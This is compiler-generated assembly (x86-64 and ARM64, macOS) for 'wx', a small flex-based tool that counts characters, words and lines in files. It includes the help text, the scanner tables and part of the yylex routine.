callq _fprintf
LBB27_19:
movl $1, %r14d
LBB27_20:
movl %r14d, %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB27_21:
xorl %r14d, %r14d
cmpl %r13d, %eax
jge LBB27_20
## %bb.22:
leaq (%r12,%rax,8), %r12
subl %eax, %r13d
leaq L_.str.11(%rip), %r14
xorl %r15d, %r15d
jmp LBB27_25
.p2align 4, 0x90
LBB27_23: ## in Loop: Header=BB27_25 Depth=1
movl $10, %edi
callq _putchar
LBB27_24: ## in Loop: Header=BB27_25 Depth=1
movq $0, _chars(%rip)
movq $0, _words(%rip)
movq $0, _lines(%rip)
incq %r15
cmpl %r15d, %r13d
je LBB27_50
LBB27_25: ## =>This Inner Loop Header: Depth=1
movq (%r12,%r15,8), %rdi
movq %r14, %rsi
callq _fopen
testq %rax, %rax
je LBB27_52
## %bb.26: ## in Loop: Header=BB27_25 Depth=1
movq %rax, %rbx
movq _yy_buffer_stack(%rip), %rax
testq %rax, %rax
je LBB27_28
## %bb.27: ## in Loop: Header=BB27_25 Depth=1
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rdi
testq %rdi, %rdi
jne LBB27_29
LBB27_28: ## in Loop: Header=BB27_25 Depth=1
callq _yyensure_buffer_stack
movq _yyin(%rip), %rdi
movl $16384, %esi ## imm = 0x4000
callq _yy_create_buffer
movq %rax, %rdi
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
movq %rdi, (%rax,%rcx,8)
LBB27_29: ## in Loop: Header=BB27_25 Depth=1
movq %rbx, %rsi
callq _yy_init_buffer
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rdx
movq 32(%rdx), %rsi
movq %rsi, _yy_n_chars(%rip)
movq 16(%rdx), %rdx
movq %rdx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rdx, (%rsi)
movq (%rax,%rcx,8), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
movzbl (%rdx), %eax
movb %al, _yy_hold_char(%rip)
callq _yylex
movq %rbx, %rdi
callq _fclose
cmpb $0, _switch_present(%rip)
je LBB27_37
## %bb.30: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _row_output(%rip)
je LBB27_38
LBB27_31: ## in Loop: Header=BB27_25 Depth=1
movq (%r12,%r15,8), %rsi
leaq L_.str.12(%rip), %rdi
xorl %eax, %eax
callq _printf
cmpb $0, _line_output(%rip)
je LBB27_33
## %bb.32: ## in Loop: Header=BB27_25 Depth=1
movq _lines(%rip), %rsi
leaq L_.str.13(%rip), %rdi
xorl %eax, %eax
callq _printf
LBB27_33: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _word_output(%rip)
je LBB27_35
## %bb.34: ## in Loop: Header=BB27_25 Depth=1
movq _words(%rip), %rsi
leaq L_.str.14(%rip), %rdi
xorl %eax, %eax
callq _printf
LBB27_35: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _char_output(%rip)
je LBB27_23
## %bb.36: ## in Loop: Header=BB27_25 Depth=1
movq _chars(%rip), %rsi
leaq L_.str.15(%rip), %rdi
xorl %eax, %eax
callq _printf
jmp LBB27_23
.p2align 4, 0x90
LBB27_37: ## in Loop: Header=BB27_25 Depth=1
movb $1, _word_output(%rip)
movb $1, _line_output(%rip)
movb $1, _char_output(%rip)
cmpb $0, _row_output(%rip)
jne LBB27_31
LBB27_38: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _pipe_output(%rip)
je LBB27_43
## %bb.39: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _line_output(%rip)
je LBB27_40
LBB27_44: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _pipe_output(%rip)
movq _lines(%rip), %rsi
jne LBB27_51
## %bb.45: ## in Loop: Header=BB27_25 Depth=1
leaq L_.str.18(%rip), %rdi
xorl %eax, %eax
callq _printf
cmpb $0, _word_output(%rip)
jne LBB27_46
LBB27_41: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _char_output(%rip)
je LBB27_42
LBB27_48: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _pipe_output(%rip)
movq _chars(%rip), %rsi
jne LBB27_51
## %bb.49: ## in Loop: Header=BB27_25 Depth=1
leaq L_.str.20(%rip), %rdi
xorl %eax, %eax
callq _printf
cmpb $0, _pipe_output(%rip)
jne LBB27_24
jmp LBB27_23
LBB27_43: ## in Loop: Header=BB27_25 Depth=1
movq (%r12,%r15,8), %rdi
callq _puts
cmpb $0, _line_output(%rip)
jne LBB27_44
.p2align 4, 0x90
LBB27_40: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _word_output(%rip)
je LBB27_41
LBB27_46: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _pipe_output(%rip)
movq _words(%rip), %rsi
jne LBB27_51
## %bb.47: ## in Loop: Header=BB27_25 Depth=1
leaq L_.str.19(%rip), %rdi
xorl %eax, %eax
callq _printf
cmpb $0, _char_output(%rip)
jne LBB27_48
LBB27_42: ## in Loop: Header=BB27_25 Depth=1
cmpb $0, _pipe_output(%rip)
jne LBB27_24
jmp LBB27_23
LBB27_50:
xorl %r14d, %r14d
jmp LBB27_20
LBB27_51:
leaq L_.str.17(%rip), %rdi
xorl %r14d, %r14d
xorl %eax, %eax
callq _printf
jmp LBB27_20
LBB27_52:
movq (%r12,%r15,8), %rdi
callq _perror
jmp LBB27_19
LBB27_53:
callq _print_help
LBB27_54:
leaq L_.str.31(%rip), %rdi
leaq L_.str.32(%rip), %rsi
xorl %eax, %eax
callq _printf
xorl %edi, %edi
callq _exit
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L27_0_set_12, LBB27_12-LJTI27_0
.set L27_0_set_4, LBB27_4-LJTI27_0
.set L27_0_set_1, LBB27_1-LJTI27_0
.set L27_0_set_53, LBB27_53-LJTI27_0
.set L27_0_set_6, LBB27_6-LJTI27_0
.set L27_0_set_3, LBB27_3-LJTI27_0
.set L27_0_set_7, LBB27_7-LJTI27_0
.set L27_0_set_54, LBB27_54-LJTI27_0
.set L27_0_set_8, LBB27_8-LJTI27_0
LJTI27_0:
.long L27_0_set_12
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_1
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_53
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_6
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_3
.long L27_0_set_4
.long L27_0_set_7
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_4
.long L27_0_set_54
.long L27_0_set_8
.end_data_region
## -- End function
.globl _print_help ## -- Begin function print_help
.p2align 4, 0x90
_print_help: ## @print_help
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_str(%rip), %rdi
callq _puts
leaq L_str.38(%rip), %rdi
callq _puts
leaq L_str.39(%rip), %rdi
callq _puts
leaq L_str.40(%rip), %rdi
callq _puts
leaq L_str.41(%rip), %rdi
callq _puts
leaq L_str.42(%rip), %rdi
callq _puts
leaq L_str.43(%rip), %rdi
callq _puts
leaq L_str.44(%rip), %rdi
callq _puts
leaq L_str.45(%rip), %rdi
callq _puts
leaq L_str.46(%rip), %rdi
callq _puts
xorl %edi, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _print_version ## -- Begin function print_version
.p2align 4, 0x90
_print_version: ## @print_version
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.31(%rip), %rdi
leaq L_.str.32(%rip), %rsi
xorl %eax, %eax
callq _printf
xorl %edi, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _yyin ## @yyin
.zerofill __DATA,__common,_yyin,8,3
.globl _yyout ## @yyout
.zerofill __DATA,__common,_yyout,8,3
.section __DATA,__data
.globl _yylineno ## @yylineno
.p2align 2
_yylineno:
.long 1 ## 0x1
.globl _yy_flex_debug ## @yy_flex_debug
.zerofill __DATA,__common,_yy_flex_debug,4,2
.globl _chars ## @chars
.zerofill __DATA,__common,_chars,8,3
.globl _words ## @words
.zerofill __DATA,__common,_words,8,3
.globl _lines ## @lines
.zerofill __DATA,__common,_lines,8,3
.globl _row_output ## @row_output
.zerofill __DATA,__common,_row_output,1,0
.globl _line_output ## @line_output
.zerofill __DATA,__common,_line_output,1,0
.globl _word_output ## @word_output
.zerofill __DATA,__common,_word_output,1,0
.globl _char_output ## @char_output
.zerofill __DATA,__common,_char_output,1,0
.globl _switch_present ## @switch_present
.zerofill __DATA,__common,_switch_present,1,0
.globl _pipe_output ## @pipe_output
.zerofill __DATA,__common,_pipe_output,1,0
.zerofill __DATA,__bss,_yy_init,1,2 ## @yy_init
.zerofill __DATA,__bss,_yy_start,1,2 ## @yy_start
.zerofill __DATA,__bss,_yy_buffer_stack,8,3 ## @yy_buffer_stack
.zerofill __DATA,__bss,_yy_buffer_stack_top,8,3 ## @yy_buffer_stack_top
.zerofill __DATA,__bss,_yy_c_buf_p,8,3 ## @yy_c_buf_p
.zerofill __DATA,__bss,_yy_hold_char,1,0 ## @yy_hold_char
.section __TEXT,__const
.p2align 4 ## @yy_ec
_yy_ec:
.long 0 ## 0x0
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 2 ## 0x2
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 3 ## 0x3
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 3 ## 0x3
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.p2align 4 ## @yy_accept
_yy_accept:
.short 0 ## 0x0
.short 0 ## 0x0
.short 0 ## 0x0
.short 5 ## 0x5
.short 3 ## 0x3
.short 2 ## 0x2
.short 1 ## 0x1
.short 1 ## 0x1
.short 0 ## 0x0
.zerofill __DATA,__bss,_yy_last_accepting_state,4,2 ## @yy_last_accepting_state
.zerofill __DATA,__bss,_yy_last_accepting_cpos,8,3 ## @yy_last_accepting_cpos
.p2align 4 ## @yy_chk
_yy_chk:
.short 0 ## 0x0
.short 1 ## 0x1
.short 1 ## 0x1
.short 1 ## 0x1
.short 9 ## 0x9
.short 3 ## 0x3
.short 8 ## 0x8
.short 8 ## 0x8
.short 8 ## 0x8
.short 8 ## 0x8
.p2align 4 ## @yy_base
_yy_base:
.short 0 ## 0x0
.short 0 ## 0x0
.short 0 ## 0x0
.short 5 ## 0x5
.short 6 ## 0x6
.short 6 ## 0x6
.short 0 ## 0x0
.short 0 ## 0x0
.short 6 ## 0x6
.short 2 ## 0x2
.p2align 4 ## @yy_def
_yy_def:
.short 0 ## 0x0
.short 8 ## 0x8
.short 1 ## 0x1
.short 8 ## 0x8
.short 8 ## 0x8
.short 8 ## 0x8
.short 9 ## 0x9
.short 9 ## 0x9
.short 0 ## 0x0
.short 8 ## 0x8
.p2align 4 ## @yy_meta
_yy_meta:
.long 0 ## 0x0
.long 1 ## 0x1
.long 1 ## 0x1
.long 2 ## 0x2
.p2align 4 ## @yy_nxt
_yy_nxt:
.short 0 ## 0x0
.short 4 ## 0x4
.short 5 ## 0x5
.short 6 ## 0x6
.short 7 ## 0x7
.short 8 ## 0x8
.short 3 ## 0x3
.short 8 ## 0x8
.short 8 ## 0x8
.short 8 ## 0x8
.comm _yytext,8,3 ## @yytext
.comm _yyleng,8,3 ## @yyleng
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "flex scanner jammed"
.zerofill __DATA,__bss,_yy_n_chars,8,3 ## @yy_n_chars
L_.str.1: ## @.str.1
.asciz "fatal flex scanner internal error--no action found"
L_.str.2: ## @.str.2
.asciz "out of dynamic memory in yy_create_buffer()"
L_.str.3: ## @.str.3
.asciz "out of dynamic memory in yy_scan_buffer()"
L_.str.4: ## @.str.4
.asciz "out of dynamic memory in yy_scan_bytes()"
L_.str.5: ## @.str.5
.asciz "bad buffer in yy_scan_bytes()"
L_.str.6: ## @.str.6
.asciz "chlprvw"
L_.str.7: ## @.str.7
.asciz "Unknown option `-%c'.\n"
L_.str.8: ## @.str.8
.asciz "Unknown option character `\\x%x'.\n"
L_.str.9: ## @.str.9
.asciz "%s\n"
L_.str.10: ## @.str.10
.asciz "Missing file path."
L_.str.11: ## @.str.11
.asciz "r"
L_.str.12: ## @.str.12
.asciz "%s\t"
L_.str.13: ## @.str.13
.asciz "L: %lu\t\t"
L_.str.14: ## @.str.14
.asciz "W: %lu\t\t"
L_.str.15: ## @.str.15
.asciz "C: %lu"
L_.str.17: ## @.str.17
.asciz "%lu"
L_.str.18: ## @.str.18
.asciz " Lines: %lu\n"
L_.str.19: ## @.str.19
.asciz " Words: %lu\n"
L_.str.20: ## @.str.20
.asciz " Chars: %lu\n"
L_.str.31: ## @.str.31
.asciz "wx v%s\n"
L_.str.32: ## @.str.32
.asciz "0.1.0"
L_.str.33: ## @.str.33
.asciz "fatal flex scanner internal error--end of buffer missed"
L_.str.34: ## @.str.34
.asciz "fatal error - scanner input buffer overflow"
L_.str.35: ## @.str.35
.asciz "input in flex scanner failed"
L_.str.36: ## @.str.36
.asciz "out of dynamic memory in yy_get_next_buffer()"
L_.str.37: ## @.str.37
.asciz "out of dynamic memory in yyensure_buffer_stack()"
.zerofill __DATA,__bss,_yy_buffer_stack_max,8,3 ## @yy_buffer_stack_max
L_str: ## @str
.asciz "\nwx"
L_str.38: ## @str.38
.asciz "---"
L_str.39: ## @str.39
.asciz "Description: Character, word, and line counts.\n"
L_str.40: ## @str.40
.asciz "Usage: wx [-clprw] <file-path>\n"
L_str.41: ## @str.41
.asciz "Options:"
L_str.42: ## @str.42
.asciz "\t-c : Calculate character count"
L_str.43: ## @str.43
.asciz "\t-l : Calculate line count"
L_str.44: ## @str.44
.asciz "\t-p : Only print value to standard out. Use with -c, -l, or -w flag."
L_str.45: ## @str.45
.asciz "\t-r : Print data to standard output in a compressed 'row' view"
L_str.46: ## @str.46
.asciz "\t-w : Calculate word count\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _yylex ; -- Begin function yylex
.p2align 2
_yylex: ; @yylex
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x28, x27, [sp, #48] ; 16-byte Folded Spill
stp x26, x25, [sp, #64] ; 16-byte Folded Spill
stp x24, x23, [sp, #80] ; 16-byte Folded Spill
stp x22, x21, [sp, #96] ; 16-byte Folded Spill
stp x20, x19, [sp, #112] ; 16-byte Folded Spill
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
adrp x8, _yy_init@PAGE
ldrb w9, [x8, _yy_init@PAGEOFF]
adrp x24, _yy_hold_char@PAGE
Lloh0:
adrp x20, _yytext@GOTPAGE
Lloh1:
ldr x20, [x20, _yytext@GOTPAGEOFF]
adrp x19, _yy_buffer_stack@PAGE
adrp x21, _yy_buffer_stack_top@PAGE
tbnz w9, #0, LBB0_12
; %bb.1:
mov w9, #1
strb w9, [x8, _yy_init@PAGEOFF]
adrp x8, _yy_start@PAGE
ldrb w8, [x8, _yy_start@PAGEOFF]
tbnz w8, #0, LBB0_3
; %bb.2:
adrp x8, _yy_start@PAGE
strb w9, [x8, _yy_start@PAGEOFF]
LBB0_3:
Lloh2:
adrp x8, _yyin@PAGE
Lloh3:
ldr x8, [x8, _yyin@PAGEOFF]
cbnz x8, LBB0_5
; %bb.4:
Lloh4:
adrp x8, ___stdinp@GOTPAGE
Lloh5:
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
Lloh6:
ldr x8, [x8]
adrp x9, _yyin@PAGE
str x8, [x9, _yyin@PAGEOFF]
LBB0_5:
adrp x8, _yyout@PAGE
ldr x9, [x8, _yyout@PAGEOFF]
cbz x9, LBB0_7
; %bb.6:
ldr x8, [x19, _yy_buffer_stack@PAGEOFF]
cbnz x8, LBB0_8
b LBB0_10
LBB0_7:
Lloh7:
adrp x9, ___stdoutp@GOTPAGE
Lloh8:
ldr x9, [x9, ___stdoutp@GOTPAGEOFF]
Lloh9:
ldr x9, [x9]
str x9, [x8, _yyout@PAGEOFF]
ldr x8, [x19, _yy_buffer_stack@PAGEOFF]
cbz x8, LBB0_10
LBB0_8:
ldr x9, [x21, _yy_buffer_stack_top@PAGEOFF]
ldr x0, [x8, x9, lsl #3]
cbz x0, LBB0_10
; %bb.9:
adrp x22, _yyin@PAGE
b LBB0_11
LBB0_10:
bl _yyensure_buffer_stack
adrp x22, _yyin@PAGE
ldr x0, [x22, _yyin@PAGEOFF]
mov w1, #16384
bl _yy_create_buffer
ldr x8, [x19, _yy_buffer_stack@PAGEOFF]
ldr x9, [x21, _yy_buffer_stack_top@PAGEOFF]
str x0, [x8, x9, lsl #3]
LBB0_11:
ldr x10, [x0, #32]
Lloh10:
adrp x11, _yy_n_chars@PAGE
str x10, [x11, _yy_n_chars@PAGEOFF]
ldr x10, [x0, #16]
Lloh11:
adrp x11, _yy_c_buf_p@PAGE
str x10, [x11, _yy_c_buf_p@PAGEOFF]
str x10, [x20]
ldr x8, [x8, x9, lsl #3]
ldr x8, [x8]
str x8, [x22, _yyin@PAGEOFF]
ldrb w8, [x10]
strb w8, [x24, _yy_hold_char@PAGEOFF]
LBB0_12:
Lloh12:
adrp x16, _yy_ec@PAGE
Lloh13:
add x16, x16, _yy_ec@PAGEOFF
Lloh14:
adrp x25, _yy_base@PAGE
Lloh15:
add x25, x25, _yy_base@PAGEOFF
Lloh16:
adrp x28, _yy_chk@PAGE
Lloh17:
add x28, x28, _yy_chk@PAGEOFF
Lloh18:
adrp x17, _yy_nxt@PAGE
Lloh19:
add x17, x17, _yy_nxt@PAGEOFF
mov w0, #304
adrp x1, _yy_last_accepting_cpos@PAGE
adrp x2, _yy_last_accepting_state@PAGE
Lloh20:
adrp x22, _yy_def@PAGE
Lloh21:
add x22, x22, _yy_def@PAGEOFF
Lloh22:
adrp x23, _yy_meta@PAGE
Lloh23:
add x23, x23, _yy_meta@PAGEOFF
LBB0_13: ; =>This Loop Header: Depth=1
; Child Loop BB0_14 Depth 2
; Child Loop BB0_16 Depth 3
; Child Loop BB0_20 Depth 4
; Child Loop BB0_23 Depth 3
; Child Loop BB0_24 Depth 4
; Child Loop BB0_26 Depth 5
; Child Loop BB0_40 Depth 6
; Child Loop BB0_44 Depth 6
; Child Loop BB0_48 Depth 6
; Child Loop BB0_56 Depth 6
; Child Loop BB0_62 Depth 6
; Child Loop BB0_70 Depth 6
; Child Loop BB0_108 Depth 4
; Child Loop BB0_116 Depth 5
; Child Loop BB0_123 Depth 4
; Child Loop BB0_95 Depth 4
; Child Loop BB0_103 Depth 5
; Child Loop BB0_131 Depth 3
; Child Loop BB0_139 Depth 4
Lloh24:
adrp x8, _yy_c_buf_p@PAGE
Lloh25:
ldr x8, [x8, _yy_c_buf_p@PAGEOFF]
ldrb w9, [x24, _yy_hold_char@PAGEOFF]
strb w9, [x8]
adrp x9, _yy_start@PAGE
ldrb w10, [x9, _yy_start@PAGEOFF]
mov x9, x8
LBB0_14: ; Parent Loop BB0_13 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_16 Depth 3
; Child Loop BB0_20 Depth 4
; Child Loop BB0_23 Depth 3
; Child Loop BB0_24 Depth 4
; Child Loop BB0_26 Depth 5
; Child Loop BB0_40 Depth 6
; Child Loop BB0_44 Depth 6
; Child Loop BB0_48 Depth 6
; Child Loop BB0_56 Depth 6
; Child Loop BB0_62 Depth 6
; Child Loop BB0_70 Depth 6
; Child Loop BB0_108 Depth 4
; Child Loop BB0_116 Depth 5
; Child Loop BB0_123 Depth 4
; Child Loop BB0_95 Depth 4
; Child Loop BB0_103 Depth 5
; Child Loop BB0_131 Depth 3
; Child Loop BB0_139 Depth 4
; kill: def $w10 killed $w10 killed $x10 def $x10
b LBB0_16
LBB0_15: ; in Loop: Header=BB0_16 Depth=3
ldrh w11, [x17, w13, uxtw #1]
sxth w10, w11
add x9, x9, #1
lsr x11, x0, x11
tbnz w11, #0, LBB0_22
LBB0_16: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB0_20 Depth 4
ldrb w12, [x9]
mov x11, x10
sxtw x11, w11
sub x13, x11, #8
cmn x13, #5
b.lo LBB0_18
; %bb.17: ; in Loop: Header=BB0_16 Depth=3
str w10, [x2, _yy_last_accepting_state@PAGEOFF]
str x9, [x1, _yy_last_accepting_cpos@PAGEOFF]
LBB0_18: ; in Loop: Header=BB0_16 Depth=3
lsl x12, x12, #2
ldrb w12, [x16, x12]
ldrsh w13, [x25, x11, lsl #1]
add w13, w12, w13
ldrsh w14, [x28, w13, sxtw #1]
cmp w10, w14
b.ne LBB0_20
b LBB0_15
LBB0_19: ; in Loop: Header=BB0_20 Depth=4
ldrsh w10, [x22, x11, lsl #1]
sxtw x11, w10
ldrsh w13, [x25, x11, lsl #1]
add w13, w13, w12, uxtb
ldrh w14, [x28, w13, sxtw #1]
cmp w14, w11, uxth
b.eq LBB0_15
LBB0_20: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_16 Depth=3
; => This Inner Loop Header: Depth=4
and w10, w10, #0xfffffffe
cmp w10, #6
b.ne LBB0_19
; %bb.21: ; in Loop: Header=BB0_20 Depth=4
and x10, x12, #0xff
ldr w12, [x23, x10, lsl #2]
b LBB0_19
LBB0_22: ; in Loop: Header=BB0_14 Depth=2
mov x16, x8
; kill: def $w10 killed $w10 killed $x10 def $x10
LBB0_23: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB0_24 Depth 4
; Child Loop BB0_26 Depth 5
; Child Loop BB0_40 Depth 6
; Child Loop BB0_44 Depth 6
; Child Loop BB0_48 Depth 6
; Child Loop BB0_56 Depth 6
; Child Loop BB0_62 Depth 6
; Child Loop BB0_70 Depth 6
; Child Loop BB0_108 Depth 4
; Child Loop BB0_116 Depth 5
; Child Loop BB0_123 Depth 4
; Child Loop BB0_95 Depth 4
; Child Loop BB0_103 Depth 5
; kill: def $w10 killed $w10 killed $x10 def $x10
str x16, [sp, #16] ; 8-byte Folded Spill
LBB0_24: ; Parent Loop BB0_13 Depth=1
; Parent Loop BB0_14 Depth=2
; Parent Loop BB0_23 Depth=3
; => This Loop Header: Depth=4
; Child Loop BB0_26 Depth 5
; Child Loop BB0_40 Depth 6
; Child Loop BB0_44 Depth 6
; Child Loop BB0_48 Depth 6
; Child Loop BB0_56 Depth 6
